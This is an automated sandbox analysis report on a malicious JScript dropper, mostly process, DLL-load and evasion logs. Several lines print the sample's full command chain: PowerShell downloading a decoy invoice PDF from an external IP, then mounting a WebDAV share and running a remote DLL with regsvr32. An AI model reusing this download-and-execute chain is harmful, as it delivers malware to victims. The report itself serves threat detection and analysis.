Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7330.js.csv");ITextStream.WriteLine(" entry:7533 f:yxdxpn");ITextStream.WriteLine(" exec:2 f:yxdxpn");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4774			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4740			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5748	Thread sleep count: 4774 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5748	Thread sleep count: 4740 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 396	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5912	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1408	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7068	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7452	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7712	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 0000000C.00000002.1314153824.0000015B6406D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1314153824.0000015B64008000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2550050394.000002AB2F258000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000E.00000002.2548890200.000002AB29C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
